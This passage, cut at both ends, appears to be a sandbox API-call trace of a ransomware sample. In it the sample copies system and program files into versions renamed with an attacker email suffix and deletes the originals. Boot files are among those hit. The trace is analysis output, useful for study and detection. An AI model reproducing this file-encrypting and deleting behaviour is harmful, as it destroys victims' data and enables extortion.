lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0080.239] SetEndOfFile (hFile=0x180) returned 1 [0080.239] CloseHandle (hObject=0x180) returned 1 [0080.240] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.240] SetEndOfFile (hFile=0x21c) returned 1 [0080.241] CloseHandle (hObject=0x21c) returned 1 [0080.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0080.241] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 1 [0080.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0080.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0080.242] lstrlenW (lpString=".doc") returned 4 [0080.242] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.242] lstrlenW (lpString=".docx") returned 5 [0080.242] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.242] lstrlenW (lpString=".pdf") returned 4 [0080.242] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.242] lstrlenW (lpString=".xls") returned 4 [0080.242] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.242] lstrlenW (lpString=".xlsx") returned 5 [0080.242] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.242] lstrlenW (lpString=".ppt") returned 4 [0080.242] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0080.242] lstrlenW (lpString=".zip") returned 4 [0080.242] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.242] lstrlenW (lpString=".rar") returned 4 [0080.242] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.242] lstrlenW (lpString=".bz2") returned 4 [0080.242] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.242] lstrlenW (lpString=".7z") returned 3 [0080.242] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0080.242] lstrlenW (lpString=".dbf") returned 4 [0080.242] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0080.243] lstrlenW (lpString=".1cd") returned 4 [0080.243] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0080.243] lstrlenW (lpString=".jpg") returned 4 [0080.243] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0080.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0080.243] lstrlenW (lpString=".doc") returned 4 [0080.243] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.243] lstrlenW (lpString=".docx") returned 5 [0080.243] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.243] lstrlenW (lpString=".pdf") returned 4 [0080.243] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.243] lstrlenW (lpString=".xls") returned 4 [0080.243] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.243] lstrlenW (lpString=".xlsx") returned 5 [0080.243] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.243] lstrlenW (lpString=".ppt") returned 4 [0080.244] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0080.244] lstrlenW (lpString=".zip") returned 4 [0080.244] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.244] lstrlenW (lpString=".rar") returned 4 [0080.244] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.244] lstrlenW (lpString=".bz2") returned 4 [0080.244] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.244] lstrlenW (lpString=".7z") returned 3 [0080.244] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0080.244] lstrlenW (lpString=".dbf") returned 4 [0080.244] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0080.244] lstrlenW (lpString=".1cd") returned 4 [0080.244] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0080.244] lstrlenW (lpString=".jpg") returned 4 [0080.244] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.245] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0080.245] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0080.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0080.245] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2527) returned 1 [0080.245] CloseHandle (hObject=0x21c) returned 1 [0080.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0080.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0080.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0080.246] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.246] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 11 os_tid = 0x7a8 [0057.629] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x670690 [0057.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x680698 [0057.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670100 [0057.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x60a3a0 [0057.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6700d0 [0057.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x32d0020 [0057.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670118 [0057.631] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x670118, Size=0x20) returned 0x626730 [0057.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x670118 [0057.631] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x670118, Size=0x20) returned 0x626708 [0057.631] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0057.631] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0057.631] Wow64DisableWow64FsRedirection (in: OldValue=0x2b7ff58 | out: OldValue=0x2b7ff58*=0x0) returned 1 [0057.631] lstrlenW (lpString="kernel32.dll") returned 12 [0057.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x626730 | out: hHeap=0x5d0000) returned 1 [0057.631] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0057.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x626708 | out: hHeap=0x5d0000) returned 1 [0057.631] Sleep (dwMilliseconds=0x64) [0057.797] lstrcmpiW (lpString1=".LOG", lpString2=".PPHL") returned -1 [0057.797] lstrlenW (lpString="BCD.LOG") returned 7 [0057.797] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.797] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0057.797] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0057.797] lstrlenW (lpString=".doc") returned 4 [0057.797] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0057.797] lstrlenW (lpString=".docx") returned 5 [0057.797] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0057.797] lstrlenW (lpString=".pdf") returned 4 [0057.797] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0057.797] lstrlenW (lpString=".xls") returned 4 [0057.797] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0057.797] lstrlenW (lpString=".xlsx") returned 5 [0057.797] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0057.797] lstrlenW (lpString=".ppt") returned 4 [0057.797] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0057.797] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0057.797] lstrlenW (lpString=".zip") returned 4 [0057.797] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0057.797] lstrlenW (lpString=".rar") returned 4 [0057.797] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0057.797] lstrlenW (lpString=".bz2") returned 4 [0057.797] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0057.797] lstrlenW (lpString=".7z") returned 3 [0057.798] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0057.798] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0057.798] lstrlenW (lpString=".dbf") returned 4 [0057.798] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0057.798] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0057.798] lstrlenW (lpString=".1cd") returned 4 [0057.798] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0057.798] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0057.798] lstrlenW (lpString=".jpg") returned 4 [0057.798] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0057.798] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0057.798] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0057.798] lstrlenW (lpString=".doc") returned 4 [0057.798] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0057.798] lstrlenW (lpString=".docx") returned 5 [0057.798] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0057.798] lstrlenW (lpString=".pdf") returned 4 [0057.798] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0057.798] lstrlenW (lpString=".xls") returned 4 [0057.798] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0057.798] lstrlenW (lpString=".xlsx") returned 5 [0057.798] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0057.798] lstrlenW (lpString=".ppt") returned 4 [0057.798] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0057.798] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0057.798] lstrlenW (lpString=".zip") returned 4 [0057.798] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0057.798] lstrlenW (lpString=".rar") returned 4 [0057.798] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0057.798] lstrlenW (lpString=".bz2") returned 4 [0057.798] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0057.799] lstrlenW (lpString=".7z") returned 3 [0057.799] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0057.799] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0057.799] lstrlenW (lpString=".dbf") returned 4 [0057.799] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0057.799] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0057.799] lstrlenW (lpString=".1cd") returned 4 [0057.799] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0057.799] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0057.799] lstrlenW (lpString=".jpg") returned 4 [0057.799] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0057.799] lstrcmpiW (lpString1=".DAT", lpString2=".PPHL") returned -1 [0057.799] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0057.799] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0057.858] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=65536) returned 1 [0057.858] CloseHandle (hObject=0x160) returned 1 [0057.858] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0057.858] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0057.858] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0057.858] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.859] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.859] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0057.859] GetLastError () returned 0x0 [0057.859] ReadFile (in: hFile=0x160, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x10000, lpOverlapped=0x0) returned 1 [0057.937] WriteFile (in: hFile=0x164, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x10010, lpOverlapped=0x0) returned 1 [0057.939] ReadFile (in: hFile=0x160, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.939] WriteFile (in: hFile=0x164, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.940] SetEndOfFile (hFile=0x164) returned 1 [0057.940] CloseHandle (hObject=0x164) returned 1 [0057.941] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.941] SetEndOfFile (hFile=0x160) returned 1 [0057.942] CloseHandle (hObject=0x160) returned 1 [0057.943] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x26) returned 1 [0057.943] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0057.948] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0057.948] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0057.948] lstrlenW (lpString=".doc") returned 4 [0057.948] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0057.948] lstrlenW (lpString=".docx") returned 5 [0057.948] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0057.948] lstrlenW (lpString=".pdf") returned 4 [0057.948] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0057.948] lstrlenW (lpString=".xls") returned 4 [0057.948] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0057.948] lstrlenW (lpString=".xlsx") returned 5 [0057.948] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0057.948] lstrlenW (lpString=".ppt") returned 4 [0057.949] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0057.949] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0057.949] lstrlenW (lpString=".zip") returned 4 [0057.949] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0057.949] lstrlenW (lpString=".rar") returned 4 [0057.949] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0057.949] lstrlenW (lpString=".bz2") returned 4 [0057.949] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0057.949] lstrlenW (lpString=".7z") returned 3 [0057.949] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0057.949] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0057.949] lstrlenW (lpString=".dbf") returned 4 [0057.949] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0057.949] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0057.949] lstrlenW (lpString=".1cd") returned 4 [0057.949] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0057.949] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0057.949] lstrlenW (lpString=".jpg") returned 4 [0057.949] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0057.949] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0057.949] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0057.949] lstrlenW (lpString=".doc") returned 4 [0057.949] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0057.949] lstrlenW (lpString=".docx") returned 5 [0057.949] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0057.949] lstrlenW (lpString=".pdf") returned 4 [0057.949] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0057.949] lstrlenW (lpString=".xls") returned 4 [0057.949] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0057.949] lstrlenW (lpString=".xlsx") returned 5 [0057.949] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0057.949] lstrlenW (lpString=".ppt") returned 4 [0057.949] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0057.949] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0057.949] lstrlenW (lpString=".zip") returned 4 [0057.949] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0057.950] lstrlenW (lpString=".rar") returned 4 [0057.950] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0057.950] lstrlenW (lpString=".bz2") returned 4 [0057.950] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0057.950] lstrlenW (lpString=".7z") returned 3 [0057.950] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0057.950] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0057.950] lstrlenW (lpString=".dbf") returned 4 [0057.950] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0057.950] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0057.950] lstrlenW (lpString=".1cd") returned 4 [0057.950] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0057.950] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0057.950] lstrlenW (lpString=".jpg") returned 4 [0057.950] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0057.950] Sleep (dwMilliseconds=0x64) [0058.592] lstrcmpiW (lpString1=".BAK", lpString2=".PPHL") returned -1 [0058.592] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0058.592] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0058.599] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=8192) returned 1 [0058.599] CloseHandle (hObject=0x158) returned 1 [0058.599] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0058.599] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\bootsect.bak.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0058.599] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0058.599] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0058.599] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.599] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.600] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\bootsect.bak.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0058.601] GetLastError () returned 0x0 [0058.601] ReadFile (in: hFile=0x158, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x2000, lpOverlapped=0x0) returned 1 [0058.604] WriteFile (in: hFile=0x160, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x2010, lpOverlapped=0x0) returned 1 [0058.606] ReadFile (in: hFile=0x158, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.606] WriteFile (in: hFile=0x160, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.606] SetEndOfFile (hFile=0x160) returned 1 [0058.606] CloseHandle (hObject=0x160) returned 1 [0058.636] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.636] SetEndOfFile (hFile=0x158) returned 1 [0058.637] CloseHandle (hObject=0x158) returned 1 [0058.637] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x27) returned 1 [0058.637] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0058.637] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0058.637] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0058.637] lstrlenW (lpString=".doc") returned 4 [0058.637] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0058.637] lstrlenW (lpString=".docx") returned 5 [0058.637] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0058.637] lstrlenW (lpString=".pdf") returned 4 [0058.637] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0058.637] lstrlenW (lpString=".xls") returned 4 [0058.637] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0058.637] lstrlenW (lpString=".xlsx") returned 5 [0058.637] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0058.637] lstrlenW (lpString=".ppt") returned 4 [0058.638] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0058.638] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0058.638] lstrlenW (lpString=".zip") returned 4 [0058.638] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0058.638] lstrlenW (lpString=".rar") returned 4 [0058.638] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0058.638] lstrlenW (lpString=".bz2") returned 4 [0058.638] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0058.638] lstrlenW (lpString=".7z") returned 3 [0058.638] lstrcmpiW 